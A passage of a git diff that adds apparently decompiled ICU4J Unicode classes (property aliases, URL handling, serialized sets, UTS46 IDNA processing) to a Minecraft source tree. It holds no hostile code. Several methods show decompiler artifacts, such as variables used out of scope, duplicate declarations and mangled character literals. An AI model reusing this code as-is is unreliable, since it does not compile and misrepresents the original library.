+      while (b != 0)
+      {
+        b = array[index];
+        index++;
+      }
+    }
+    return index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static int skipByteSubString(byte[] array, int index, int length, byte skipend)
+  {
+    for (int result = 0; result < length; result++)
+    {
+      byte b = array[(index + result)];
+      if (b == skipend)
+      {
+        result++;
+        break;
+      }
+    }
+    
+    return result;
+  }
+  
+  private UCharacterUtility() {}
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UPropertyAliases.java b/src/minecraft/com/ibm/icu/impl/UPropertyAliases.java
new file mode 100644
index 0000000..1f48b13
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UPropertyAliases.java
@@ -0,0 +1,368 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.BytesTrie;
+import com.ibm.icu.util.BytesTrie.Result;
+import java.io.BufferedInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UPropertyAliases
+{
+  private static final int IX_VALUE_MAPS_OFFSET = 0;
+  private static final int IX_BYTE_TRIES_OFFSET = 1;
+  private static final int IX_NAME_GROUPS_OFFSET = 2;
+  private static final int IX_RESERVED3_OFFSET = 3;
+  private int[] valueMaps;
+  private byte[] bytesTries;
+  private String nameGroups;
+  
+  private static final class IsAcceptable
+    implements ICUBinary.Authenticate
+  {
+    private IsAcceptable() {}
+    
+    public boolean isDataVersionAcceptable(byte[] version) { return version[0] == 2; }
+  }
+  
+  private static final IsAcceptable IS_ACCEPTABLE = new IsAcceptable(null);
+  private static final byte[] DATA_FORMAT = { 112, 110, 97, 109 };
+  public static final UPropertyAliases INSTANCE;
+  
+  private void load(InputStream data) throws IOException { BufferedInputStream bis = new BufferedInputStream(data);
+    
+    ICUBinary.readHeader(bis, DATA_FORMAT, IS_ACCEPTABLE);
+    DataInputStream ds = new DataInputStream(bis);
+    int indexesLength = ds.readInt() / 4;
+    if (indexesLength < 8) {
+      throw new IOException("pnames.icu: not enough indexes");
+    }
+    int[] inIndexes = new int[indexesLength];
+    inIndexes[0] = (indexesLength * 4);
+    for (int i = 1; i < indexesLength; i++) {
+      inIndexes[i] = ds.readInt();
+    }
+    
+
+    int offset = inIndexes[0];
+    int nextOffset = inIndexes[1];
+    int numInts = (nextOffset - offset) / 4;
+    valueMaps = new int[numInts];
+    for (int i = 0; i < numInts; i++) {
+      valueMaps[i] = ds.readInt();
+    }
+    
+
+    offset = nextOffset;
+    nextOffset = inIndexes[2];
+    int numBytes = nextOffset - offset;
+    bytesTries = new byte[numBytes];
+    ds.readFully(bytesTries);
+    
+
+    offset = nextOffset;
+    nextOffset = inIndexes[3];
+    numBytes = nextOffset - offset;
+    StringBuilder sb = new StringBuilder(numBytes);
+    for (int i = 0; i < numBytes; i++) {
+      sb.append((char)ds.readByte());
+    }
+    nameGroups = sb.toString();
+    
+    data.close();
+  }
+  
+  private UPropertyAliases() throws IOException {
+    load(ICUData.getRequiredStream("data/icudt51b/pnames.icu"));
+  }
+  
+  private int findProperty(int property) {
+    int i = 1;
+    for (int numRanges = valueMaps[0]; numRanges > 0; numRanges--)
+    {
+      int start = valueMaps[i];
+      int limit = valueMaps[(i + 1)];
+      i += 2;
+      if (property < start) {
+        break;
+      }
+      if (property < limit) {
+        return i + (property - start) * 2;
+      }
+      i += (limit - start) * 2;
+    }
+    return 0;
+  }
+  
+  private int findPropertyValueNameGroup(int valueMapIndex, int value) {
+    if (valueMapIndex == 0) {
+      return 0;
+    }
+    valueMapIndex++;
+    int numRanges = valueMaps[(valueMapIndex++)];
+    if (numRanges < 16) {
+      for (; 
+          numRanges > 0; numRanges--)
+      {
+        int start = valueMaps[valueMapIndex];
+        int limit = valueMaps[(valueMapIndex + 1)];
+        valueMapIndex += 2;
+        if (value < start) {
+          break;
+        }
+        if (value < limit) {
+          return valueMaps[(valueMapIndex + value - start)];
+        }
+        valueMapIndex += limit - start;
+      }
+    }
+    
+    int valuesStart = valueMapIndex;
+    int nameGroupOffsetsStart = valueMapIndex + numRanges - 16;
+    do {
+      int v = valueMaps[valueMapIndex];
+      if (value < v) {
+        break;
+      }
+      if (value == v) {
+        return valueMaps[(nameGroupOffsetsStart + valueMapIndex - valuesStart)];
+      }
+      valueMapIndex++; } while (valueMapIndex < nameGroupOffsetsStart);
+    
+    return 0;
+  }
+  
+  private String getName(int nameGroupsIndex, int nameIndex) {
+    int numNames = nameGroups.charAt(nameGroupsIndex++);
+    if ((nameIndex < 0) || (numNames <= nameIndex)) {
+      throw new IllegalIcuArgumentException("Invalid property (value) name choice");
+    }
+    for (; 
+        nameIndex > 0; nameIndex--) {
+      while ('\000' != nameGroups.charAt(nameGroupsIndex++)) {}
+    }
+    
+    int nameStart = nameGroupsIndex;
+    while ('\000' != nameGroups.charAt(nameGroupsIndex)) {
+      nameGroupsIndex++;
+    }
+    if (nameStart == nameGroupsIndex) {
+      return null;
+    }
+    return nameGroups.substring(nameStart, nameGroupsIndex);
+  }
+  
+  private static int asciiToLowercase(int c) {
+    return (65 <= c) && (c <= 90) ? c + 32 : c;
+  }
+  
+  private boolean containsName(BytesTrie trie, CharSequence name) {
+    BytesTrie.Result result = BytesTrie.Result.NO_VALUE;
+    for (int i = 0; i < name.length(); i++) {
+      int c = name.charAt(i);
+      
+      if ((c != 45) && (c != 95) && (c != 32) && ((9 > c) || (c > 13)))
+      {
+
+        if (!result.hasNext()) {
+          return false;
+        }
+        c = asciiToLowercase(c);
+        result = trie.next(c);
+      } }
+    return result.hasValue();
+  }
+  
+
+
+
+  static
+  {
+    try
+    {
+      INSTANCE = new UPropertyAliases();
+    }
+    catch (IOException e) {
+      MissingResourceException mre = new MissingResourceException("Could not construct UPropertyAliases. Missing pnames.icu", "", "");
+      
+      mre.initCause(e);
+      throw mre;
+    }
+  }
+  
+
+
+
+
+
+  public String getPropertyName(int property, int nameChoice)
+  {
+    int valueMapIndex = findProperty(property);
+    if (valueMapIndex == 0) {
+      throw new IllegalArgumentException("Invalid property enum " + property + " (0x" + Integer.toHexString(property) + ")");
+    }
+    
+    return getName(valueMaps[valueMapIndex], nameChoice);
+  }
+  
+
+
+
+
+  public String getPropertyValueName(int property, int value, int nameChoice)
+  {
+    int valueMapIndex = findProperty(property);
+    if (valueMapIndex == 0) {
+      throw new IllegalArgumentException("Invalid property enum " + property + " (0x" + Integer.toHexString(property) + ")");
+    }
+    
+    int nameGroupOffset = findPropertyValueNameGroup(valueMaps[(valueMapIndex + 1)], value);
+    if (nameGroupOffset == 0) {
+      throw new IllegalArgumentException("Property " + property + " (0x" + Integer.toHexString(property) + ") does not have named values");
+    }
+    
+
+    return getName(nameGroupOffset, nameChoice);
+  }
+  
+  private int getPropertyOrValueEnum(int bytesTrieOffset, CharSequence alias) {
+    BytesTrie trie = new BytesTrie(bytesTries, bytesTrieOffset);
+    if (containsName(trie, alias)) {
+      return trie.getValue();
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+  public int getPropertyEnum(CharSequence alias)
+  {
+    return getPropertyOrValueEnum(0, alias);
+  }
+  
+
+
+  public int getPropertyValueEnum(int property, CharSequence alias)
+  {
+    int valueMapIndex = findProperty(property);
+    if (valueMapIndex == 0) {
+      throw new IllegalArgumentException("Invalid property enum " + property + " (0x" + Integer.toHexString(property) + ")");
+    }
+    
+    valueMapIndex = valueMaps[(valueMapIndex + 1)];
+    if (valueMapIndex == 0) {
+      throw new IllegalArgumentException("Property " + property + " (0x" + Integer.toHexString(property) + ") does not have named values");
+    }
+    
+
+
+
+    return getPropertyOrValueEnum(valueMaps[valueMapIndex], alias);
+  }
+  
+
+
+
+
+
+
+  public static int compare(String stra, String strb)
+  {
+    int istra = 0;int istrb = 0;
+    int cstra = 0;int cstrb = 0;
+    for (;;)
+    {
+      if (istra < stra.length()) {
+        cstra = stra.charAt(istra);
+        switch (cstra) {
+        case 9: case 10: case 11: case 12: 
+        case 13: case 32: case 45: case 95: 
+          istra++;
+          break;
+        }
+      }
+      else
+      {
+        while (istrb < strb.length()) {
+          cstrb = strb.charAt(istrb);
+          switch (cstrb) {
+          case 9: case 10: case 11: case 12: 
+          case 13: case 32: case 45: case 95: 
+            istrb++;
+            break;
+          }
+          
+        }
+        
+
+        boolean endstra = istra == stra.length();
+        boolean endstrb = istrb == strb.length();
+        if (endstra) {
+          if (endstrb) return 0;
+          cstra = 0;
+        } else if (endstrb) {
+          cstrb = 0;
+        }
+        
+        int rc = asciiToLowercase(cstra) - asciiToLowercase(cstrb);
+        if (rc != 0) {
+          return rc;
+        }
+        
+        istra++;
+        istrb++;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/URLHandler.java b/src/minecraft/com/ibm/icu/impl/URLHandler.java
new file mode 100644
index 0000000..79f1d28
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/URLHandler.java
@@ -0,0 +1,262 @@
+package com.ibm.icu.impl;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.JarURLConnection;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+
+
+
+
+
+
+
+
+public abstract class URLHandler
+{
+  public static final String PROPNAME = "urlhandler.props";
+  private static final Map<String, Method> handlers;
+  private static final boolean DEBUG = ICUDebug.enabled("URLHandler");
+  
+  static {
+    Map<String, Method> h = null;
+    try
+    {
+      InputStream is = URLHandler.class.getResourceAsStream("urlhandler.props");
+      if (is == null) {
+        ClassLoader loader = Utility.getFallbackClassLoader();
+        is = loader.getResourceAsStream("urlhandler.props");
+      }
+      
+      if (is != null) {
+        Class<?>[] params = { URL.class };
+        BufferedReader br = new BufferedReader(new InputStreamReader(is));
+        
+        for (String line = br.readLine(); line != null; line = br.readLine()) {
+          line = line.trim();
+          
+          if ((line.length() != 0) && (line.charAt(0) != '#'))
+          {
+
+
+            int ix = line.indexOf('=');
+            
+            if (ix == -1) {
+              if (!DEBUG) break; System.err.println("bad urlhandler line: '" + line + "'"); break;
+            }
+            
+
+            String key = line.substring(0, ix).trim();
+            String value = line.substring(ix + 1).trim();
+            try
+            {
+              Class<?> cl = Class.forName(value);
+              Method m = cl.getDeclaredMethod("get", params);
+              
+              if (h == null) {
+                h = new HashMap();
+              }
+              
+              h.put(key, m);
+            }
+            catch (ClassNotFoundException e) {
+              if (DEBUG) System.err.println(e);
+            }
+            catch (NoSuchMethodException e) {
+              if (DEBUG) System.err.println(e);
+            }
+            catch (SecurityException e) {
+              if (DEBUG) System.err.println(e);
+            }
+          } }
+        br.close();
+      }
+    } catch (Throwable t) {
+      if (DEBUG) { System.err.println(t);
+      }
+    }
+    handlers = h;
+  }
+  
+  public static URLHandler get(URL url) {
+    if (url == null) {
+      return null;
+    }
+    
+    String protocol = url.getProtocol();
+    
+    if (handlers != null) {
+      Method m = (Method)handlers.get(protocol);
+      
+      if (m != null) {
+        try {
+          URLHandler handler = (URLHandler)m.invoke(null, new Object[] { url });
+          
+          if (handler != null) {
+            return handler;
+          }
+        }
+        catch (IllegalAccessException e) {
+          if (DEBUG) System.err.println(e);
+        }
+        catch (IllegalArgumentException e) {
+          if (DEBUG) System.err.println(e);
+        }
+        catch (InvocationTargetException e) {
+          if (DEBUG) { System.err.println(e);
+          }
+        }
+      }
+    }
+    return getDefault(url);
+  }
+  
+  protected static URLHandler getDefault(URL url) {
+    URLHandler handler = null;
+    
+    String protocol = url.getProtocol();
+    try {
+      if (protocol.equals("file")) {
+        handler = new FileURLHandler(url);
+      } else if ((protocol.equals("jar")) || (protocol.equals("wsjar"))) {
+        handler = new JarURLHandler(url);
+      }
+    }
+    catch (Exception e) {}
+    
+    return handler;
+  }
+  
+  private static class FileURLHandler extends URLHandler {
+    File file;
+    
+    FileURLHandler(URL url) {
+      try {
+        file = new File(url.toURI());
+      }
+      catch (URISyntaxException use) {}
+      
+      if ((file == null) || (!file.exists())) {
+        if (URLHandler.DEBUG) System.err.println("file does not exist - " + url.toString());
+        throw new IllegalArgumentException();
+      }
+    }
+    
+    public void guide(URLHandler.URLVisitor v, boolean recurse, boolean strip) {
+      if (file.isDirectory()) {
+        process(v, recurse, strip, "/", file.listFiles());
+      } else {
+        v.visit(file.getName());
+      }
+    }
+    
+    private void process(URLHandler.URLVisitor v, boolean recurse, boolean strip, String path, File[] files) {
+      for (int i = 0; i < files.length; i++) {
+        File f = files[i];
+        
+        if (f.isDirectory()) {
+          if (recurse) {
+            process(v, recurse, strip, path + f.getName() + '/', f.listFiles());
+          }
+        } else {
+          v.visit(path + f.getName());
+        }
+      }
+    }
+  }
+  
+  private static class JarURLHandler extends URLHandler {
+    JarFile jarFile;
+    String prefix;
+    
+    JarURLHandler(URL url) {
+      try {
+        prefix = url.getPath();
+        
+        int ix = prefix.lastIndexOf("!/");
+        
+        if (ix >= 0) {
+          prefix = prefix.substring(ix + 2);
+        }
+        
+        String protocol = url.getProtocol();
+        if (!protocol.equals("jar"))
+        {
+
+          String urlStr = url.toString();
+          int idx = urlStr.indexOf(":");
+          if (idx != -1) {
+            url = new URL("jar" + urlStr.substring(idx));
+          }
+        }
+        
+        JarURLConnection conn = (JarURLConnection)url.openConnection();
+        jarFile = conn.getJarFile();
+      }
+      catch (Exception e) {
+        if (URLHandler.DEBUG) System.err.println("icurb jar error: " + e);
+        throw new IllegalArgumentException("jar error: " + e.getMessage());
+      }
+    }
+    
+    public void guide(URLHandler.URLVisitor v, boolean recurse, boolean strip) {
+      try {
+        Enumeration<JarEntry> entries = jarFile.entries();
+        
+        while (entries.hasMoreElements()) {
+          JarEntry entry = (JarEntry)entries.nextElement();
+          
+          if (!entry.isDirectory()) {
+            String name = entry.getName();
+            
+            if (name.startsWith(prefix)) {
+              name = name.substring(prefix.length());
+              
+              int ix = name.lastIndexOf('/');
+              
+              if (ix != -1) {
+                if (!recurse) {
+                  continue;
+                }
+                
+                if (strip) {
+                  name = name.substring(ix + 1);
+                }
+              }
+              
+              v.visit(name);
+            }
+          }
+        }
+      }
+      catch (Exception e) {
+        if (URLHandler.DEBUG) System.err.println("icurb jar error: " + e);
+      }
+    }
+  }
+  
+  public void guide(URLVisitor visitor, boolean recurse)
+  {
+    guide(visitor, recurse, true);
+  }
+  
+  public URLHandler() {}
+  
+  public abstract void guide(URLVisitor paramURLVisitor, boolean paramBoolean1, boolean paramBoolean2);
+  
+  public static abstract interface URLVisitor
+  {
+    public abstract void visit(String paramString);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/USerializedSet.java b/src/minecraft/com/ibm/icu/impl/USerializedSet.java
new file mode 100644
index 0000000..c9d65db
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/USerializedSet.java
@@ -0,0 +1,187 @@
+package com.ibm.icu.impl;
+
+
+
+
+
+
+
+
+
+
+
+
+public final class USerializedSet
+{
+  public USerializedSet() {}
+  
+
+
+
+
+
+
+
+
+
+
+  public final boolean getSet(char[] src, int srcStart)
+  {
+    array = null;
+    arrayOffset = (this.bmpLength = this.length = 0);
+    
+    length = src[(srcStart++)];
+    
+
+    if ((length & 0x8000) > 0)
+    {
+      length &= 0x7FFF;
+      if (src.length < srcStart + 1 + length) {
+        length = 0;
+        throw new IndexOutOfBoundsException();
+      }
+      bmpLength = src[(srcStart++)];
+    }
+    else {
+      if (src.length < srcStart + length) {
+        length = 0;
+        throw new IndexOutOfBoundsException();
+      }
+      bmpLength = length;
+    }
+    array = new char[length];
+    System.arraycopy(src, srcStart, array, 0, length);
+    
+    return true;
+  }
+  
+
+
+
+  public final void setToOne(int c)
+  {
+    if (1114111 < c) {
+      return;
+    }
+    
+    if (c < 65535) {
+      bmpLength = (this.length = 2);
+      array[0] = ((char)c);
+      array[1] = ((char)(c + 1));
+    } else if (c == 65535) {
+      bmpLength = 1;
+      length = 3;
+      array[0] = 65535;
+      array[1] = '\001';
+      array[2] = '\000';
+    } else if (c < 1114111) {
+      bmpLength = 0;
+      length = 4;
+      array[0] = ((char)(c >> 16));
+      array[1] = ((char)c);
+      c++;
+      array[2] = ((char)(c >> 16));
+      array[3] = ((char)c);
+    } else {
+      bmpLength = 0;
+      length = 2;
+      array[0] = '\020';
+      array[1] = 65535;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final boolean getRange(int rangeIndex, int[] range)
+  {
+    if (rangeIndex < 0) {
+      return false;
+    }
+    if (array == null) {
+      array = new char[8];
+    }
+    if ((range == null) || (range.length < 2)) {
+      throw new IllegalArgumentException();
+    }
+    rangeIndex *= 2;
+    if (rangeIndex < bmpLength) {
+      range[0] = array[(rangeIndex++)];
+      if (rangeIndex < bmpLength) {
+        range[1] = (array[rangeIndex] - '\001');
+      } else if (rangeIndex < length) {
+        range[1] = ((array[rangeIndex] << '\020' | array[(rangeIndex + 1)]) - 1);
+      } else {
+        range[1] = 1114111;
+      }
+      return true;
+    }
+    rangeIndex -= bmpLength;
+    rangeIndex *= 2;
+    int suppLength = length - bmpLength;
+    if (rangeIndex < suppLength) {
+      int offset = arrayOffset + bmpLength;
+      range[0] = (array[(offset + rangeIndex)] << '\020' | array[(offset + rangeIndex + 1)]);
+      rangeIndex += 2;
+      if (rangeIndex < suppLength) {
+        range[1] = ((array[(offset + rangeIndex)] << '\020' | array[(offset + rangeIndex + 1)]) - 1);
+      } else {
+        range[1] = 1114111;
+      }
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public final boolean contains(int c)
+  {
+    if (c > 1114111) {
+      return false;
+    }
+    
+    if (c <= 65535)
+    {
+
+      for (int i = 0; (i < bmpLength) && ((char)c >= array[i]); i++) {}
+      return (i & 0x1) != 0;
+    }
+    
+
+    char high = (char)(c >> 16);char low = (char)c;
+    int i = bmpLength;
+    while ((i < length) && ((high > array[i]) || ((high == array[i]) && (low >= array[(i + 1)])))) {
+      i += 2;
+    }
+    
+    return (i + bmpLength & 0x2) != 0;
+  }
+  
+
+
+
+
+
+
+
+  public final int countRanges()
+  {
+    return (bmpLength + (length - bmpLength) / 2 + 1) / 2;
+  }
+  
+  private char[] array = new char[8];
+  private int arrayOffset;
+  private int bmpLength;
+  private int length;
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UTS46.java b/src/minecraft/com/ibm/icu/impl/UTS46.java
new file mode 100644
index 0000000..9aa3c4f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UTS46.java
@@ -0,0 +1,839 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.lang.UScript;
+import com.ibm.icu.text.IDNA;
+import com.ibm.icu.text.IDNA.Error;
+import com.ibm.icu.text.IDNA.Info;
+import com.ibm.icu.text.Normalizer2;
+import com.ibm.icu.text.Normalizer2.Mode;
+import com.ibm.icu.text.StringPrepParseException;
+import java.util.EnumSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UTS46
+  extends IDNA
+{
+  public UTS46(int options)
+  {
+    this.options = options;
+  }
+  
+  public StringBuilder labelToASCII(CharSequence label, StringBuilder dest, IDNA.Info info)
+  {
+    return process(label, true, true, dest, info);
+  }
+  
+  public StringBuilder labelToUnicode(CharSequence label, StringBuilder dest, IDNA.Info info)
+  {
+    return process(label, true, false, dest, info);
+  }
+  
+  public StringBuilder nameToASCII(CharSequence name, StringBuilder dest, IDNA.Info info)
+  {
+    process(name, false, true, dest, info);
+    if ((dest.length() >= 254) && (!info.getErrors().contains(IDNA.Error.DOMAIN_NAME_TOO_LONG)) && (isASCIIString(dest)) && ((dest.length() > 254) || (dest.charAt(253) != '.')))
+    {
+
+
+      addError(info, IDNA.Error.DOMAIN_NAME_TOO_LONG);
+    }
+    return dest;
+  }
+  
+  public StringBuilder nameToUnicode(CharSequence name, StringBuilder dest, IDNA.Info info)
+  {
+    return process(name, false, false, dest, info);
+  }
+  
+  private static final Normalizer2 uts46Norm2 = Normalizer2.getInstance(null, "uts46", Normalizer2.Mode.COMPOSE);
+  
+
+  final int options;
+  
+  private static final EnumSet<IDNA.Error> severeErrors = EnumSet.of(IDNA.Error.LEADING_COMBINING_MARK, IDNA.Error.DISALLOWED, IDNA.Error.PUNYCODE, IDNA.Error.LABEL_HAS_DOT, IDNA.Error.INVALID_ACE_LABEL);
+  
+
+
+
+
+
+  private static boolean isASCIIString(CharSequence dest)
+  {
+    int length = dest.length();
+    for (int i = 0; i < length; i++) {
+      if (dest.charAt(i) > '') {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  private static final byte[] asciiData = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private StringBuilder process(CharSequence src, boolean isLabel, boolean toASCII, StringBuilder dest, IDNA.Info info)
+  {
+    if (dest == src) {
+      throw new IllegalArgumentException();
+    }
+    
+    dest.delete(0, Integer.MAX_VALUE);
+    resetInfo(info);
+    int srcLength = src.length();
+    if (srcLength == 0) {
+      if (toASCII) {
+        addError(info, IDNA.Error.EMPTY_LABEL);
+      }
+      return dest;
+    }
+    
+    boolean disallowNonLDHDot = (options & 0x2) != 0;
+    int labelStart = 0;
+    
+    for (int i = 0;; i++) {
+      if (i == srcLength) {
+        if (toASCII) {
+          if (i - labelStart > 63) {
+            addLabelError(info, IDNA.Error.LABEL_TOO_LONG);
+          }
+          
+          if ((!isLabel) && (i >= 254) && ((i > 254) || (labelStart < i))) {
+            addError(info, IDNA.Error.DOMAIN_NAME_TOO_LONG);
+          }
+        }
+        promoteAndResetLabelErrors(info);
+        return dest;
+      }
+      char c = src.charAt(i);
+      if (c > '') {
+        break;
+      }
+      int cData = asciiData[c];
+      if (cData > 0) {
+        dest.append((char)(c + ' '));
+      } else { if ((cData < 0) && (disallowNonLDHDot)) {
+          break;
+        }
+        dest.append(c);
+        if (c == '-') {
+          if ((i == labelStart + 3) && (src.charAt(i - 1) == '-'))
+          {
+            i++;
+            break;
+          }
+          if (i == labelStart)
+          {
+            addLabelError(info, IDNA.Error.LEADING_HYPHEN);
+          }
+          if ((i + 1 == srcLength) || (src.charAt(i + 1) == '.'))
+          {
+            addLabelError(info, IDNA.Error.TRAILING_HYPHEN);
+          }
+        } else if (c == '.') {
+          if (isLabel)
+          {
+            i++;
+            break;
+          }
+          if (toASCII)
+          {
+            if ((i == labelStart) && (i < srcLength - 1)) {
+              addLabelError(info, IDNA.Error.EMPTY_LABEL);
+            } else if (i - labelStart > 63) {
+              addLabelError(info, IDNA.Error.LABEL_TOO_LONG);
+            }
+          }
+          promoteAndResetLabelErrors(info);
+          labelStart = i + 1;
+        }
+      }
+    }
+    promoteAndResetLabelErrors(info);
+    processUnicode(src, labelStart, i, isLabel, toASCII, dest, info);
+    if ((isBiDi(info)) && (!hasCertainErrors(info, severeErrors)) && ((!isOkBiDi(info)) || ((labelStart > 0) && (!isASCIIOkBiDi(dest, labelStart)))))
+    {
+
+      addError(info, IDNA.Error.BIDI);
+    }
+    return dest;
+  }
+  
+
+
+
+
+  private StringBuilder processUnicode(CharSequence src, int labelStart, int mappingStart, boolean isLabel, boolean toASCII, StringBuilder dest, IDNA.Info info)
+  {
+    if (mappingStart == 0) {
+      uts46Norm2.normalize(src, dest);
+    } else {
+      uts46Norm2.normalizeSecondAndAppend(dest, src.subSequence(mappingStart, src.length()));
+    }
+    boolean doMapDevChars = (options & 0x10) == 0;
+    
+
+    int destLength = dest.length();
+    int labelLimit = labelStart;
+    while (labelLimit < destLength) {
+      char c = dest.charAt(labelLimit);
+      if ((c == '.') && (!isLabel)) {
+        int labelLength = labelLimit - labelStart;
+        int newLength = processLabel(dest, labelStart, labelLength, toASCII, info);
+        
+        promoteAndResetLabelErrors(info);
+        destLength += newLength - labelLength;
+        labelLimit = labelStart += newLength + 1;
+      } else if (('ß' <= c) && (c <= '‍') && ((c == 'ß') || (c == 'ς') || (c >= '‌'))) {
+        setTransitionalDifferent(info);
+        if (doMapDevChars) {
+          destLength = mapDevChars(dest, labelStart, labelLimit);
+          
+
+          doMapDevChars = false;
+        } else {
+          labelLimit++;
+        }
+      } else {
+        labelLimit++;
+      }
+    }
+    
+
+
+    if ((0 == labelStart) || (labelStart < labelLimit)) {
+      processLabel(dest, labelStart, labelLimit - labelStart, toASCII, info);
+      promoteAndResetLabelErrors(info);
+    }
+    return dest;
+  }
+  
+
+  private int mapDevChars(StringBuilder dest, int labelStart, int mappingStart)
+  {
+    int length = dest.length();
+    boolean didMapDevChars = false;
+    for (int i = mappingStart; i < length;) {
+      char c = dest.charAt(i);
+      switch (c)
+      {
+      case 'ß': 
+        didMapDevChars = true;
+        dest.setCharAt(i++, 's');
+        dest.insert(i++, 's');
+        length++;
+        break;
+      case 'ς': 
+        didMapDevChars = true;
+        dest.setCharAt(i++, 'σ');
+        break;
+      case '‌': 
+      case '‍': 
+        didMapDevChars = true;
+        dest.delete(i, i + 1);
+        length--;
+        break;
+      default: 
+        i++;
+      }
+      
+    }
+    if (didMapDevChars)
+    {
+
+
+      String normalized = uts46Norm2.normalize(dest.subSequence(labelStart, dest.length()));
+      dest.replace(labelStart, Integer.MAX_VALUE, normalized);
+      return dest.length();
+    }
+    return length;
+  }
+  
+
+
+  private static boolean isNonASCIIDisallowedSTD3Valid(int c)
+  {
+    return (c == 8800) || (c == 8814) || (c == 8815);
+  }
+  
+
+
+
+
+
+
+
+  private static int replaceLabel(StringBuilder dest, int destLabelStart, int destLabelLength, CharSequence label, int labelLength)
+  {
+    if (label != dest) {
+      dest.delete(destLabelStart, destLabelStart + destLabelLength).insert(destLabelStart, label);
+    }
+    
+
+    return labelLength;
+  }
+  
+
+
+
+
+
+
+  private int processLabel(StringBuilder dest, int labelStart, int labelLength, boolean toASCII, IDNA.Info info)
+  {
+    int destLabelStart = labelStart;
+    int destLabelLength = labelLength;
+    boolean wasPunycode;
+    StringBuilder labelString; if ((labelLength >= 4) && (dest.charAt(labelStart) == 'x') && (dest.charAt(labelStart + 1) == 'n') && (dest.charAt(labelStart + 2) == '-') && (dest.charAt(labelStart + 3) == '-'))
+    {
+
+
+
+      boolean wasPunycode = true;
+      StringBuilder fromPunycode;
+      try { fromPunycode = Punycode.decode(dest.subSequence(labelStart + 4, labelStart + labelLength), null);
+      } catch (StringPrepParseException e) {
+        addLabelError(info, IDNA.Error.PUNYCODE);
+        return markBadACELabel(dest, labelStart, labelLength, toASCII, info);
+      }
+      
+
+
+
+
+
+
+      boolean isValid = uts46Norm2.isNormalized(fromPunycode);
+      if (!isValid) {
+        addLabelError(info, IDNA.Error.INVALID_ACE_LABEL);
+        return markBadACELabel(dest, labelStart, labelLength, toASCII, info);
+      }
+      StringBuilder labelString = fromPunycode;
+      labelStart = 0;
+      labelLength = fromPunycode.length();
+    } else {
+      wasPunycode = false;
+      labelString = dest;
+    }
+    
+    if (labelLength == 0) {
+      if (toASCII) {
+        addLabelError(info, IDNA.Error.EMPTY_LABEL);
+      }
+      return replaceLabel(dest, destLabelStart, destLabelLength, labelString, labelLength);
+    }
+    
+    if ((labelLength >= 4) && (labelString.charAt(labelStart + 2) == '-') && (labelString.charAt(labelStart + 3) == '-'))
+    {
+      addLabelError(info, IDNA.Error.HYPHEN_3_4);
+    }
+    if (labelString.charAt(labelStart) == '-')
+    {
+      addLabelError(info, IDNA.Error.LEADING_HYPHEN);
+    }
+    if (labelString.charAt(labelStart + labelLength - 1) == '-')
+    {
+      addLabelError(info, IDNA.Error.TRAILING_HYPHEN);
+    }
+    
+
+
+
+
+
+
+
+
+    int i = labelStart;
+    int limit = labelStart + labelLength;
+    char oredChars = '\000';
+    
+    boolean disallowNonLDHDot = (options & 0x2) != 0;
+    do {
+      char c = labelString.charAt(i);
+      if (c <= '') {
+        if (c == '.') {
+          addLabelError(info, IDNA.Error.LABEL_HAS_DOT);
+          labelString.setCharAt(i, 65533);
+        } else if ((disallowNonLDHDot) && (asciiData[c] < 0)) {
+          addLabelError(info, IDNA.Error.DISALLOWED);
+          labelString.setCharAt(i, 65533);
+        }
+      } else {
+        oredChars = (char)(oredChars | c);
+        if ((disallowNonLDHDot) && (isNonASCIIDisallowedSTD3Valid(c))) {
+          addLabelError(info, IDNA.Error.DISALLOWED);
+          labelString.setCharAt(i, 65533);
+        } else if (c == 65533) {
+          addLabelError(info, IDNA.Error.DISALLOWED);
+        }
+      }
+      i++;
+    } while (i < limit);
+    
+
+
+
+    int c = labelString.codePointAt(labelStart);
+    if ((U_GET_GC_MASK(c) & U_GC_M_MASK) != 0) {
+      addLabelError(info, IDNA.Error.LEADING_COMBINING_MARK);
+      labelString.setCharAt(labelStart, 65533);
